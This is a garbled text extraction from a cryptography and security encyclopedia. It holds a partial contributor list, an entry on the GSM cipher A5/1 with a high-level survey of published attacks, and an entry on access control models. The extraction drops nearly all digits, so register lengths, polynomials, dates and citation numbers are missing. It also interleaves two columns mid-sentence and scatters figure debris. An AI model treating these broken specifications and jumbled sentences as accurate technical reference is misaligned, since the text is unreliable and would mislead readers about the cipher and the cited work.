Seattle, WA Rome
USA Italy
xxx List of Contributors
HEIKO MANTEL EVANGELIA MICHELI-TZANAKOU

Department of Computer Science Department of Biomedical Engineering
TU Darmstadt Rutgers - The State University of New Jersey
Darmstadt Piscataway, NJ
Germany USA
DAVIDE MARTINENGHI JONATHAN K. MILLEN

Dipartimento di Elettronica e Informazione The MITRE Corporation
Politecnico di Milano Bedford, MA
Milano USA
Italy
HENRI MASSIAS JELENA MIRKOVIC

University of Limoges Information Sciences Institute
France University of Southern California
Marina del Rey, CA
USA
LEE D. MCFEARIN
Southern Methodist University FRANOIS MORAIN
Dallas, TX Laboratoire dinformatique (LIX)
USA cole polytechnique
Palaiseau Cedex
France
DAVID MCGREW
Poolesville, MD
USA
THOMAS MORRIS
CATHERINE MEADOWS Mississippi State University
U.S. Naval Research Laboratory Mississippi State, MS
Washington, DC USA
USA
HAROLD MOUCHRE
SHARAD MEHROTRA Polytech Nantes
Donald Bren School of Computer Science Universit de Nantes, IRCCyN
University of California Nantes
Irvine, CA France
USA
ALFRED MENEZES NICKY MOUHA

Department of Combinatorics and Optimization Department of Electrical Engineering
University of Waterloo Katholieke Universiteit Leuven
Waterloo, Ontario Leuven-Heverlee
Canada Belgium
DANIELE MICCIANCIO DAVID NACCACHE

Department of Computer Science & Engineering Dpartement dinformatique, Groupe de cryptographie
University of California cole normale suprieure
San Diego, CA Paris
USA France
List of Contributors xxxi
DANIEL NAGY CRISTINA NITA-ROTARU

Department of Computer Science Department of Computer Science
ELTECRYPT Research Group Etvs Lrnd University Purdue University
Budapest West Lafayette, IN
Hungary USA
PADMARAJ M. V. NAIR
Department of Computer Science and Engineering ANITA OCHIEANO
Visa International
School of Engineering
Foster City, CA
Southern Methodist University
USA
Dallas, TX
USA
TAE OH
DALIT NAOR School of Informatics
Department of Computer Science and Applied Rochester Institute of Technology
Mathematics Rochester, NY
Weizmann Institute of Science USA
Rehovot
Israel
FRANCIS OLIVIER
Department of Security Technology
GEORGE NECULA
Electrical Engineering and Computer Science Gemplus Card International
University of California France
Berkeley, CA
USA
ARKADIUSZ OROWSKI
Institute of Physics
ALESSANDRO NERI Polish Academy of Sciences
Department of Applied Electronics Warsaw
Universit degli Studi Roma TRE Poland
Rome and
Italy Department of Informatics
WULS - SGGW
KIM NGUYEN Warsaw
Bundesdruckerei GmbH Poland
Berlin
Germany
ALESSANDRO ORSO
College of Computing - School of Computer Science
PHONG NGUYEN Georgia Institute of Technology
Dpartement dinformatique
Atlanta, GA
Ecole normale suprieure
USA
Paris, Cedex
France
AKIRA OTSUKA
PENG NING Research Center for Information Security
Department of Computer Science National Institute of Advanced Industrial Science and
North Carolina State University Technology
Raleigh, NC Tokyo
USA Japan
xxxii List of Contributors
CHRISTOF PAAR CLAUDE CRPEAU

Lehrstuhl Embedded Security, Gebaeude IC / School of Computer Science
Ruhr-Universitaet Bochum McGill University
Bochum Montreal, Quebec
Germany Canada
PASCAL PAILLIER
CryptoExperts TORBEN PEDERSEN
Paris Cryptomathic
France rhus
Denmark
STEPHEN M. PAPA
High Assurance Computing and Networking Labs
GERARDO PELOSI
(HACNet) Dipartimento di Elettronica e Informazione (DEI)
Department of Computer Science and Engineering Politecnico di Milano
Bobby B. Lyle School of Engineering Milano
Southern Methodist University Italy
Houston, TX and
USA Dipartimento di Ingegneria dellInformazione e Metodi
Matematici (DIIMM)
University of Bergamo
PANOS PAPADIMITRATOS
School of Computer and Communication Sciences Dalmine (BG)
cole Polytechnique Fdrale de Lausanne, Lausanne Italy
Switzerland
GNTHER PERNUL
STEFANO PARABOSCHI LS fr Wirtschaftsinformatik I -Informationssysteme
Dipartimento di Ingegneria dellInformazione e Metodi Universitt Regensburg
Matematici Regensburg
Universit degli Studi di Bergamo Germany
Dalmine, BG
Italy
CHRISTIANE PETERS
JUNG-MIN JERRY PARK Department of Mathematics and Computer Science
Department of Electrical and Computer Engineering Technische Universiteit Eindhoven
Virginia Tech The Netherlands
Blacksburg, VA
USA
CHRISTOPHE PETIT
JACQUES PATARIN Universit catholique de Louvain
Versailles St-Quentin-en-Yvelines University
Louvain-la-Neuve
France
Belgium
BRYAN D. PAYNE
Information Systems Analysis FABIEN A. P. PETITCOLAS
Sandia National Laboratories Microsoft Research
Albuquerque, NM Cambridge
USA UK
List of Contributors xxxiii
BENNY PINKAS BART PRENEEL

Department of Computer Science Department of Electrical Engineering-ESAT/COSIC
University of Haifa Katholieke Universiteit Leuven and IBBT
Haifa Leuven-Heverlee
Israel Belgium
KONSTANTINOS N. PLATANIOTIS NIELS PROVOS

The Edward S Rogers Sr. Department of Electrical & Google INC
Computer Engineering and Knowledge Media Design Mountain View, CA
Institute USA
University of Toronto
Toronto, ON
Canada
JEAN-JACQUES QUISQUATER
ANGELIKA PLATE Louvain-la-Neuve
Director, AEXIS Security Consultants Belgium
Bonn
Germany
RADMILO RACIC
FERNANDO L. PODIO University of California
ITL Computer Security Division/Systems and Emerging Davis, CA
Technologies Security Research Group USA
National Institute of Standards and Technology (NIST)
Gaithersburg, MD
USA
MOHAMED OMAR RAYES
Bobby B. Lyle School of Engineering Southern
DAVID POINTCHEVAL Methodist University
Computer Science Department Dallas, TX
Ecole normale suprieure USA
Paris
France
KUI REN
Ubiquitous Security & PrivaCy Research Laboratory
MICHALIS POLYCHRONAKIS (UbiSeC Lab)
Department of Computer Science Department of Electrical and Computer Engineering
Network Security Lab Illinois Institute of Technology
Columbia University Chicago, IL
New York, NY USA
USA
JONAS RICHIARDI
DENIS V. POPEL Ecole Polytechnique
Algorithms Research Corporation Fdrale de Lausanne EPFL - STI IBI
Charlottesville, VA Lausanne
USA Switzerland
xxxiv List of Contributors
MORITZ RIESNER KAZUE SAKO

Department of Information Systems NEC
University of Regensburg Kawasaki
Regensburg Japan
Germany
MALEK BEN SALEM

VINCENT RIJMEN Department of Computer Science
Department of Electrical Engineering/ESAT Columbia University
Katholieke Universiteit Leuven New York, NY
Heverlee USA
Belgium
GUIDO SALVANESCHI
RONALD L. RIVEST Department of Electronic and Information
Department of Electrical Engineering and Computer Polytechnic of Milan
Science Milano
Massachusetts Institute of Technology Italy
Cambridge, MA
USA
PAOLO SALVANESCHI
Department of Information Technology and
MATTHEW J. B. ROBSHAW Mathematical Methods
Orange Labs University of Bergamo
Issy Moulineaux, Cedex Dalmine, BG
France Italy
ARNON ROSENTHAL PIERANGELA SAMARATI

The MITRE Corporation Dipartimento di Tecnologie dellInformazione (DTI)
Bedford, MA Universit degli Studi di Milano
USA Crema (CR)
Italy
ARUN ROSS
Department of Computer Science and Electrical DAVID SAMYDE
Engineering Intel Corporation
West Virginia University Santa Clara, CA
Morgantown, WV USA
USA
SUDEEP SARKAR
SCOTT A. ROTONDO Computer Science and Engineering
Oracle Corporation University of South Florida
Redwood Shores, CA Tampa, FL
USA USA
JUNGWOO RYOO ROBERTO SASSI

Division of Business and Engineering Department of Information Technologies
Penn State Altoona Universit degli Studi di Milano
Altoona, PA Crema (CR)
USA Italy
List of Contributors xxxv
BRUCE SCHNEIER BASIT SHAFIQ

BT CIMIC
London Rutgers, The State University of New Jersey
UK Newark, NJ
USA
BERRY SCHOENMAKERS
Department of Mathematics and Computer Science
Technische Universiteit Eindhoven ADI SHAMIR
Eindhoven The Paul and Marlene Borman Professor of Applied
The Netherlands Mathematics
Weizmann Institute of Science
Rehovot
MATTHIAS SCHUNTER Israel
IBM Research-Zurich
Rschlikon
Switzerland MICAH SHERR
Georgetown University
JRG SCHWENK
Horst Grtz Institute for IT Security Washington, DC
Ruhr University Bochum USA
Bochum
Germany
IGOR SHPARLINSKI
Department of Computing Faculty of Science
EDWARD SCIORE Macquarie University
Computer Science Department Australia
Boston College
Chestnut Hill, MA
USA
ROBERT SILVERMAN
Chelmsford, MA
FABIO SCOTTI USA
Dipartimento di Tecnologie dellInformazione
Crema (CR) RICHARD T. SIMON
Italy Harvard Medical School
Center for Biomedical Informatics
Cambridge, MA
NICOLAS SENDRIER USA
Project-Team SECRET
INRIA Paris-Rocquencourt
Le Chesnay
France
GREG SINCLAIR
The Volgenau School of Engineering and IT
Centre for Secure Information Systems
EHAB AL- SHAER George Mason University
Cyber Defense and Network Assurability (CyberDNA) Fairfax, VA
Center USA
Department of Software and Information Systems
College of Computing and Informatics
University of North Carolina Charlotte GAUTAM SINGARAJU
Charlotte, NC The Volgenau School of Engineering and IT
USA George Mason University Ask.com
xxxvi List of Contributors
RADU SION FRANOIS-XAVIER STANDAERT

Network Security and Applied Cryptography Lab Microelectronics Laboratory
Department of Computer Science Universit Catholique de Louvain
Stony Brook University Louvain-la-Neuve
Stony Brook, NY Belgium
USA
ANGELOS STAVROU
BEN SMEETS Computer Science Department
Department of Information Technology School Information Technology and Engineering
Lund University George Mason University
Lund Fairfax, VA
Sweden USA
SEAN W. SMITH GRAHAM STEEL

Department of Computer Science Laboratoire Specication et Verication
Dartmouth College INRIA, CNRS & ENS
Hanover, NH Cachan
USA France
ALAN D. SMITH
Department of Management and Marketing MARK STEPHENS
SMU HACNet Labs
Robert Morris University
School of Engineering
Pittsburgh, PA
Southern Methodist University
USA
Nacogdoches, TX
USA
JEROME A. SOLINAS
National Security Agency
Ft Meade, MD ANTON STIGLIC
Instant Logic
USA
Canada
ANURAG SRIVASTAVA
Department of Applied Information Technology and ALEX STOIANOV
Centre for Secure Information Systems Information and Privacy Commissioners Oce of
The Volgenau School of Engineering Ontario
George Mason University Toronto, ON
Fairfax, VA Canada
USA
SALVATORE J. STOLFO
MUDHAKAR SRIVATSA Department of Computer Science
IBM Research Division Columbia University
Thomas J. Watson Research Center New York, NY
Yorktown Heights, NY USA
USA
SCOTT D. STOLLER
WILLIAM STALLINGS Department of Computer Science
WilliamStallings.com Stony Brook University
Brewster, MA Stony Brook, NY
USA USA
List of Contributors xxxvii
NARY SUBRAMANIAN EMMANUEL THOME

Department of Computer Science INRIA Lorraine Campus Scientique
The University of Texas at Tyler VILLERS-LS-NANCY CEDEX
Tyler, TX France
USA
MITCHELL A. THORNTON
KUN SUN Department of Computer Science and Engineering
Intelligent Automation, Inc. Department of Electrical Engineering
Rockville, MD Lyle School of Engineering
USA Southern Methodist University
Dallas, TX
USA
BERK SUNAR
Worcester Polytechnic Institute
Worcester, MA MEHDI TIBOUCHI
Laboratoire dinformatique de lENS
USA
cole normale suprieure
Paris
LAURENT SUSTEK France
Inside Secure France
Atmel
France KAR-ANN TOH
School of Electrical and Electronic Engineering
Yonsei University
ANDREW BENG JIN TEOH Seodaemun-gu, Seoul
School of Electrical and Electronic Engineering Korea
Yonsei University
Seodaemun-gu, Seoul
Korea ASSIA TRIA
CEA-LETI
France
EDLYN TESKE
Department of Combinatorics and Optimization
University of Waterloo
Waterloo, Ontario
ERAN TROMER
Computer Science and Articial Intelligence Laboratory
Canada
Massachusetts Institute of Technology
Cambridge, MA
NICOLAS THRIAULT USA
Departamento de Matemtica
Universidad del Bo-Bo
Talca SEAN TURNER
Chile IECA, Inc.
Fairfax, VA
USA
ACHINT THOMAS
Center for Unied Biometrics and Sensors (CUBS)
Department of Computer Science and Engineering SHAMBHU UPADHYAYA
University at Bualo (SUNY Bualo), The State Department of Computer Science and Engineering
University of New York University at Bualo The State University of New York
Amherst, NY Bualo, NY
USA USA
xxxviii List of Contributors
SALIL VADHAN CHRISTIAN VIARD-GAUDIN

School of Engineering & Applied Sciences Polytech Nantes
Harvard University Universit de Nantes, IRCCyN
Cambridge, MA Nantes
USA France
JAIDEEP VAIDYA MARION VIDEAU

Department of Management Science and Information Universit Henri Poincar, Nancy /LORIA and ANSSI
Systems, CIMIC Paris
Rutgers, The State University of New Jersey France
Newark, NJ
USA
B. V. K. VIJAYA KUMAR
Carnegie Mellon University
HENK C. A. VAN TILBORG Pittsburgh, PA
Department of Mathematics and Computing Science USA
Eindhoven University of Technology
Eindhoven
The Netherlands DAN WALLACH
Rice University
MAYANK VARIA Houston, TX
Computer Science and Articial Intelligence Laboratory USA
(CSAIL)
Massachusetts Institute of Technology
Cambridge, MA COLIN D. WALTER
USA Information Security Group
Royal Holloway University of London
Surrey
UK
MARC VAUCLAIR
BU Identication, Center of Competence Systems
Security
NXP Semiconductors XIAOFENG WANG
Leuven School of Informatics and Computing
Belgium Indiana University at Bloomington
Bloomington, IN
USA
HELMUT VEITH
Institute of Information Systems
MICHAEL WARD
Technische Universitt Wien Product Security Chip Centre of Excellence
Wien MasterCard Worldwide
Austria Waterloo
Belgium
V. N. VENKATAKRISHNAN
Department of Computer Science NICHOLAS C. WEAVER
University of Illinois at Chicago International Computer Science Institute
Chicago, IL Berkeley, CA
USA USA
List of Contributors xxxix
ANDR WEIMERSKIRCH WENYUAN XU

escrypt Inc. Department of Computer Science and Engineering
Ann Arbor, MI University of South Carolina
USA SC
Columbia
WILLIAM WHYTE
Security Innovation ATSUHIRO YAMAGISHI
IT Security Center
Wilmington, MA
Information-Technology Promotion Agency
USA
Bunkyo-ku, Tokyo
Japan
MICHAEL J. WIENER
Molecular Physiology and Biological Physics YI YANG
University of Virginia Department of Computer Science and Engineering
Charlottesville, VA Pennsylvania State University
USA University Park, PA
USA
JEFFREY J. WILEY BO-YIN YANG

Department of Computer Science and Engineering Research Fellow
Bobby B. Lyle School of Engineering Nankang
Southern Methodist University Taipei
Dallas, TX Taiwan
USA
XIAOWEI YANG
WILLIAM E. WINKLER
Statistical Research Division Duke University
U.S. Bureau of the Census Durham, NC
Washington, DC USA
USA
QIUSHI YANG
BRIAN WONGCHAOWART University College London
Department of Computer Science London
University of Pittsburgh UK
Pittsburgh, PA
USA
YI YANG
Pennsylvania State University
BRECHT WYSEUR University Park, PA
Nagravision S.A. Kudelski Group
USA
Cheseaux-sur-Lausanne
Switzerland
SVETLANA N. YANUSHKEVICH
XIAOKUI XIAO Schulich School of Enginering
School of Computer Engineering University of Calgary
Nanyang Technological University Calgary, Alberta
Singapore Canada
xl List of Contributors
BULENT YENER SENCUN ZHU

Department of Computer Science Department of Computer Science and Engineering
Rensselaer Polytechnic Institute Pennsylvania State University
Troy, NY University Park, PA
USA USA
SACHIKO YOSHIHAMA ZHICHAO ZHU

IBM Research-Tokyo Department of Computer Science and Engineering
Yamato, Kanagawa The Pennsylvania State University
Japan University Park, PA
USA
SHUCHENG YU
Worcester Polytechnic Institute
PAUL ZIMMERMANN
Team Caramel, Btiment A
Worcester, MA
LORIA/INRIA
USA
Villers-ls-Nancy Cedex
France
FENG YUE
School of Computer Science and Technology
Harbin Institute of Technology ROBERT ZUCCHERATO
Carle Crescent
Harbin
Ontario
China
Canada
WENSHENG ZHANG
Department of Computer Science WANGMENG ZUO
College of Liberal Arts and Sciences School of Computer Science and Technology
Iowa State University Harbin Institute of Technology
Ames, IA Harbin
USA China
DAVID ZHANG MARY ELLEN ZURKO

Biometrics Research Centre, Department of Computing IBM Software Group Lotus Live Security Architecture
The Hong Kong Polytechnic University and Strategy
Hung Hom, Kowloon Westford, MA
Hong Kong USA
A
t = , . . . , , the LFSRs are clocked in the same fashion,
A/ but the (t )-th bit of the frame number is now xored
to the feedback bits. This initialization phase is depicted on
Anne Canteaut Fig. .
Project-Team SECRET, INRIA Paris-Rocquencourt, After these cycles, the generator runs as depicted
Le Chesnay, France on Fig. . Each LFSR has a clocking tap: tap for the first
LFSR, tap for the second and the third ones (where the
feedback tap corresponds to tap ). At each unit of time,
Related Concepts
the majority value b of the clocking bits is computed.
Stream Cipher
A LFSR is clocked if and only if its clocking bit is equal
to b. For instance, if the clocking bits are equal to (, , ),
Denition
the majority value is . The second and third LFSRs are
A/ is the symmetric cipher used for encrypting over-
clocked, but not the first one. The output of the genera-
the-air transmissions in the GSM standard. A/ is used in
tor is then given by the xor of the outputs of the LFSRs.
most European countries, whereas a weaker cipher, called
After the initialization cycles, bits are generated
A/, is used in other countries (a description of A/ and
with the previously described irregular clocking. The first
an attack can be found in []).
ones are discarded and the following bits form the
running-key.
Background
The description of A/ was first kept secret, but its design Attacks on A/
was reversed engineered in by Briceno, Golberg, and Several time-memory trade-off attacks have been pro-
Wagner. posed on A/ exploiting the small size of the secret key
or of the internal state [, ]. They require the knowl-
Theory edge of a few seconds of conversation plaintext and run
A/ is a synchronous stream cipher based on linear very fast. Even if they need a huge precomputation time
feedback shift registers (LFSRs). It has a -bit and memory, an optimized version has been implemented
secret key. in : the group The Hackers Choice has precomputed
A GSM conversation is transmitted as a sequence of the huge look-up tables involved in the time-memory
-bit frames ( bits in each direction) every . mil- trade-off attack. These tables have also been computed
lisecond. Each frame is xored with a -bit sequence and then released in December by the A/ cracking
produced by the A/ running-key generator. The initial project [].
state of this generator depends on the -bit secret key, Another attack due to Ekdahl and Johansson []
K, which is fixed during the conversation, and on a -bit exploits some weaknesses of the key initialization proce-
public frame number, F. dure. It has been later improved by Maximov, Johansson,
and Babbage [], and then by Barkan and Biham [].
Description of the Running-Key Generator It requires a few minutes using s of conversation
The A/ running-key generator consists of LFSRs of plaintext without any notable precomputation and storage
lengths , , and . Their characteristic polynomials are capacity.
X +X +X +X+, X +X+, and X +X +X +X+. For Most of these attacks can also be turned into ciphertext-
each frame transmission, the LFSRs are first initialized to only attacks in the context of GSM communications by
zero. Then, at time t = , . . . , , the LFSRs are clocked, and exploiting the fact that error-correction is performed
the key bit Kt is xored to the feedback bit of each LFSR. For before encryption in the GSM transmissions [, ].
Henk C.A. van Tilborg & Sushil Jajodia (eds.), Encyclopedia of Cryptography and Security, DOI ./----,
Springer Science+Business Media, LLC
A Access Control
+e - -
>6
? ??
+e +e+e

F . . . F K . . . K -+e - -
6 ?
C +e
C
CCW
+ e - -
6 ? ??
+e +e+e
A/. Fig. Initialization of the A/ running-key generator
-
C
? ??
+e +e+e C
? C

CCW
b - - +l - Running-key
?
+e
6

-
? ??
+e +e+e
A/. Fig. A/ running-key generator
Recommended Reading . Paget C, Nohl K () GSM: SRSLY? In: th chaos commu-

. Barkan E, Biham E, Keller N () Instant ciphertext-only nication congress C. http://events.ccc.de/congress//
cryptanalysis of gsm encrypted communication. In: Advances Fahrplan/events/.en.html
in cryptology CRYPTO. Lecture notes in computer science . Petrovic S, Fster-Sabater A () Cryptanalysis of the A/
number, vol . Springer, Heidelberg, pp algorithm. Cryptology ePrint Archive, Report /. Avail-
. Barkan E, Biham E () Conditional estimators: An effective able on http://eprint.iacr.org/. Accessed Oct
attack on A/. In: Selected areas in cryptography SAC .
Lecture notes in computer science, vol . Springer, Heidelberg,
pp
. Barkan E, Biham E, Keller N () Instant ciphertext-only
cryptanalysis of GSM encrypted communication. J Cryptol
Access Control
():
. Biham E, Dunkelman O () Cryptanalysis of the A/ GSM Gerald Brose
stream cipher. In: Indocrypt . Lecture notes in computer HYPE Softwaretechnik GmbH, Bonn, Germany
science, vol . Springer, Heidelberg, pp
. Biryukov A, Shamir A, Wagner D () Real time attack of
A/ on a PC. In: Fast software encryption FSE . Lec- Synonyms
ture notes in computer science, vol . Springer, Heidelberg, Authorization; Protection
pp
. Ekdahl P, Johansson T () Another attack on A/. IEEE Trans Related Concepts
Inform Theory ():
Access Control from an OS Security Perspective; Confi-
. Maximov A, Johansson T, Babbage S () An improved cor-
relation attack on A/. In: Selected areas in cryptography dentiality; Discretionary Access Control; Firewall;
SAC . Lecture notes in computer science, vol . Springer, Integrity; Mandatory Access Control; Role Based
Heidelberg, pp Access Control
Access Control A
Denition The complete mediation property is easier to achieve

Access control is a security function that protects shared in centralized systems with a secure kernel than in dis-
resources against unauthorized accesses. The distinction tributed systems. General-purpose operating systems, e.g.,
between authorized and unauthorized accesses is made are capable of intercepting system calls and thus of
A
according to an access control policy. regulating access to devices. An example for an enforce-
ment mechanism in a distributed system is a packet filter
firewall, which can either forward or drop packets sent
Theory to destinations within a protected domain. However, if any
Access control is employed to enforce security require- network destinations in the protected domain are reach-
ments such as confidentiality and integrity of data able through routes that do not pass through the packet
resources (e.g., files, database tables) to prevent unau- filter, then the filter is not a reference monitor and no
thorized use of resources (e.g., programs, processor time, protection can be guaranteed.
expensive devices), or to prevent denial of service to legit-
imate users. Practical examples of security violations that Access Control Models
can be prevented by enforcing access control policies are: a An access control policy is a description of the allowed and
journalist reading a politicians medical record (confiden- denied accesses in a system. In more formal terms, it is a
tiality), a criminal performing fake bank account bookings configuration of an access control model. In all practically
(integrity), a student printing his essays on an expensive relevant systems, policies can change over time to adapt
photo printer (unauthorized use), and a company over- to changes in the sets of objects, subjects, or to changes
loading a competitors computers with requests in order in the protection requirements. The model defines how
to prevent him from meeting a critical business deadline objects, subjects, and accesses can be represented, and also
(denial of service). the operations for changing configurations.
Conceptually, all access control systems comprise two The model thus determines the flexibility and expres-
separate components: an enforcement mechanism and a sive power of its policies. Access control models can also be
decision function. The enforcement mechanism intercepts regarded as the languages for writing policies. The model
and inspects accesses, and then asks the decision function determines how easy or difficult it is to express ones secu-
to determine if the access complies with the security policy rity requirements, e.g., if a rule like all students except
or not. The resources which are protected by access con- Eve may use this printer can be conveniently expressed.
trol are usually referred to as objects, whereas the entities Another aspect of the access model is which formal prop-
whose accesses are regulated are called subjects. A subject erties can be proven about policies, e.g., can a question like
is an active system entity running on behalf of a human Given this policy, is it possible that Eve can ever be granted
user, typically a process. It is not to be confused with the this access? be answered. Other aspects influenced by the
actual user. This is depicted in Fig. . choice of the access model are how difficult it is to man-
An important property of any enforcement mechanism age policies, i.e., adapt them to changes (e.g., can John
is the complete mediation property [] (also called reference propagate his permissions to others?), and the efficiency
monitor property), which means that the mechanism must of making access decisions, i.e., the complexity of the deci-
be able to intercept and potentially prevent all accesses to sion algorithm and thus the run-time performance of the
a resource. If it is possible to circumvent the enforcement access control system.
mechanism, no security can be guaranteed. There is no single access model that is suitable for
all conceivable policies that one might wish to express.
Some access models make it easier than others to directly
express confidentiality requirements in a policy (mili-
Decision
function
tary policies), whereas others favor integrity (commercial
policies, []) or allow to express history-based constraints
Access allowed?
(Chinese Walls, []). Further details on earlier security
Yes/no models can be found in [].
Access Enforcement Access
Subject Object
mechanism Access Matrix Models
A straightforward representation of the allowed accesses of
Access Control. Fig. Enforcement mechanism and decision a subject on an object is to list them in a table or matrix.
function The classical access matrix model [] represents subjects
A Access Control
in rows, objects in columns, and permissions in matrix administrator to find out all allowed accesses to the object,
entries. If an access mode print is listed in the matrix entry or to revoke access rights.
M(Alice,LaserPrinter ) , then the subject Alice may print-access It is not as easy, however, to determine a subjects
the Laser-Printer object. allowed accesses because that requires searching all ACLs
Matrix models typically define the sets of subjects, in the system. Using ACLs to represent access policies can
objects, and access modes (rights) that they control also be difficult if the number of subjects in a system is
directly. It is thus straightforward to express what a given very large. In this case, storing every single subjects rights
subject may do with a given object, but it is not possi- results in long and unwieldy lists. Most practical systems
ble to directly express a statement like all students except therefore use additional aggregation concepts to reduce
Eve may print. To represent the desired semantics, it is complexity, such as user groups or roles.
necessary to enter the access right print in the printer col- Another disadvantage of ACLs is that they do not sup-
umn for the rows of all subjects that are students, except in port any kind of discretionary access control (DAC), i.e.,
Eves. Because this is a low-level representation of the pol- ways to allow a subject to change the access matrix at
icy statement, it is unlikely that administrators will later their discretion. In the UNIX file system, e.g., every file
be able to infer the original policy statements by looking object has a designated owner who may assign and remove
at the matrix, especially after a number of similar changes access rights to the file to other subjects. If the recipient
have been performed. subject did not already possess this right, executing this
A property of the access matrix that would be interest- command changes the state of the access matrix by enter-
ing to prove is the safety property. The general meaning of ing a new right in a matrix entry. File ownership which
safety in the context of protection is that no access rights is not expressed in the basic access matrix thus implies a
can be leaked to an unauthorized subject, i.e., that there is limited form of administrative authority for subjects.
no sequence of operations on the access matrix that, given A second example of discretionary access control is
some initial safe state, would result in an unsafe state. The the GRANT option that can be set in relational databases
proof by [] that safety is only decidable in very restricted when a database administrator assigns a right to a user. If
cases is an important theoretical result of security research. this option is set on a right that a subject possesses, this
The access matrix model is simple, flexible, and widely subject may itself use the GRANT command to propagate
used in practice. It is also still being extended and refined this right to another subject. This form of discretionary
in various ways in the recent security literature, e.g., to rep- access control is also called delegation. Implementing con-
resent both permissions and denials, to account for typed trolled delegation of access rights is difficult, especially in
objects with specific rather than generic access modes, or distributed systems. In SQL, delegation is controlled by
for objects that are further grouped in domains. the GRANT option, but if this option is set by the orig-
Since the access matrix can become very large but is inal grantor of a right, the grantor cannot control which
typically also very sparse, it is usually not stored as a whole, other subjects may eventually receive this right through the
but either row wise or column wise. An individual matrix grantee. Delegation can only be prevented altogether.
column contains different subjects rights to access one In systems that support delegation, there is, typically,
object. It thus makes sense to store these rights per object also an operation to remove rights again. If the systems
as an access control list (ACL). A matrix row describes the protection state after a revocation should be the same as
access rights of a subject on all objects in the system. It is before the delegation, removing a right from a subject
therefore appealing to store these rights per subject. From which has delegated this right to other subjects requires
the subjects perspective, the row can be broken down to transitively revoking the right from these grantees, too.
a list of access rights per object, or a capability list. The This cascading revocation [, ] is necessary to prevent a
two approaches of implementing the matrix model using subject from immediately receiving a revoked right back
either ACLs or capabilities have different advantages and from one of its grantees.
disadvantages. Discretionary access control and delegation are pow-
erful features of an access control system that make
writing and managing policies easier when applications
Access Control Lists require or support cooperation between users. These con-
An ACL for an object o is a list of tuples (s, (r , . . . , rn )), cepts also support applications that need to express the
where s is a subject and the ri are the rights of s on o. delegation of some administrative authority to subjects.
It is straightforward to associate an objects access control However, regular ACLs need to be extended to support
list with the object, e.g., a file, which makes it easy for an DAC, e.g., by adding a meta-right GRANT and by tracing
Access Control A
delegation chains. Delegation is more elegantly supported perform additional communications with a decision func-
in systems that are based on capabilities or, more gen- tion but can immediately determine if an access is allowed
erally, credentials. A seminal paper proposing a general or denied. In addition, many credentials systems allow sub-
authorization theory and a logic that can express delega- jects some degree of freedom to delegate their credentials
A
tion is []. to other subjects. A bus ticket, e.g., may be freely passed on,
or some organizations let members issue visitor badges to
Capabilities and Credentials guests.
An individual capability is a pair (o, (r . . . rn )), where Depending on the environment, credentials may need
o is the object and the r . . . rn are access rights for o. to be authenticated and protected from theft. A bus ticket,
Capabilities were first introduced as a way of protecting e.g., could be reproduced on a photocopier, or a mem-
memory segments in operating systems []. They were bership card been stolen. Countermeasures against repro-
implemented as a combination of a reference to a resource duction include holograms on expensive tickets, while the
(e.g., a file, a block of memory, a remote object) with illegal use of a stolen drivers license can be prevented by
the access rights to that resource. Capabilities were thus comparing the photograph of the holder with the appear-
directly integrated with the memory addressing mecha- ance of the bearer. Digital credentials that are created,
nism, as shown in Fig. . Thus, the complete mediation managed, and stored by a trusted secure kernel do not
property was guaranteed because there is no way of reach- require protection beyond standard memory protection.
ing an object without using a capability and going through Credentials in a distributed system are more difficult to
the access enforcement mechanism. protect: Digital signatures may be required to authenti-
The possession of a capability is sufficient to be granted cate the issuing authority, transport encryption to prevent
access to the object identified by that capability. Typically, eavesdropping or modification in transit, and binding the
capability systems allow subjects to delegate access rights subject to the credential to prevent misuse by unauthorized
by passing on their capabilities, which makes delegation subjects. Typically, credentials in distributed systems are
simple and flexible. However, determining who has access represented in digital certificates such as X. or SPKI
to a given object at a given time requires searching the [], or stored in secure devices such as smart cards.
capability lists of all subjects in the system. Consequently,
blocking accesses to an object is more difficult to realize Role-Based Access Control (RBAC)
because access rights are not managed centrally. In the standard matrix model, access rights are directly
Capabilities can be regarded as a form of credentials. assigned to subjects. This can be a manageability prob-
A credential is a token issued by an authority that expresses lem in systems with large numbers of subjects and objects
a certain privilege of its bearer, e.g., that a subject has a that change frequently because the matrix will have to
certain access right, or is a member of an organization. be updated in many different places. For example, if an
A verifier inspecting a credential can determine three employee in a company moves to another department, its
things: that the credential comes from a trusted author- subject will have to receive a large number of new access
ity, that it contains a valid privilege, and that the credential rights and lose another set of rights.
actually belongs to the presenter. A real-life analogy of a Aggregation concepts such as groups and roles were
credential is registration badge, a drivers license, a bus introduced specifically to make security administration
ticket, or a membership card. simpler. Because complex administrative tasks are inher-
The main advantage of a credentials system is that ently error prone, reducing the potential for management
verification of a privilege can be done, at least theoreti- errors also increases the overall security of a system. The
cally, offline. In other words, the verifier does not need to most widely used role models are the family of models
introduced in [], which are called RBAC to RBAC .
RBAC is the base model that defines roles as a manage-
Resource ment indirection between users and permissions and is
illustrated in Fig. . Users are assigned to roles rather than
Capability User Permission

assignment assignment
{read, write, append, execute ...}
Users Roles Permissions
Reference Rights
Access Control. Fig. A capability Access Control. Fig. The basic RBAC model
A Access Control
directly to permissions, and permissions are assigned to of information, i.e., confidentiality, than with protecting
roles. data against integrity violations, it is a good example for
The other RBAC models introduce role hierarchies information flow security. The classic military security
(RBAC ) and constraints (RBAC ). A role hierarchy is a model defines four sensitivity levels for objects and four
partial order on roles that lets an administrator define that clearance levels for subjects. These levels are: unclassified,
one role is senior to another role, which means that the confidential, secret, and top secret. The classification of
more senior role inherits the junior roles permissions. For subjects and objects according to these levels is typically
example, if a Manager role is defined to be senior to an expressed in terms of security labels that are attached to
Engineer role, any user assigned to the Manager role would subjects and objects.
also have the permissions assigned to the Engineer role. In this model, security is enforced by controlling
Constraints are predicates over configurations of a role accesses so that any subject may only access objects that
model that determine if the configuration is acceptable. are classified at the same level for which the subject has
Typically, role models permit the definition of mutual clearance, or for a lower level. For example, a subject with
exclusion constraints to prevent the assignment of the a secret clearance is allowed access to objects classified as
same user to two conflicting roles, which can enforce unclassified, confidential, and secret, but not to those
separation of duty. Other constraints that are frequently classified as top secret. Information may thus only flow
mentioned include cardinality constraints to limit the upward in the sense that its sensitivity is not reduced. An
maximum number of users in a role, or prerequisite role object that contains information that is classified at mul-
constraints, which express that, e.g., only someone already tiple security levels at the same time is called a multi-level
assigned to the role of an Engineer can be assigned to object.
the Test-Engineer role. The most expressive model in the This approach takes only the general sensitivity, but
family is RBAC , which combines constraints with role not the actual content of objects into account. It can be
hierarchies. refined to respect the need-to-know principle. This princi-
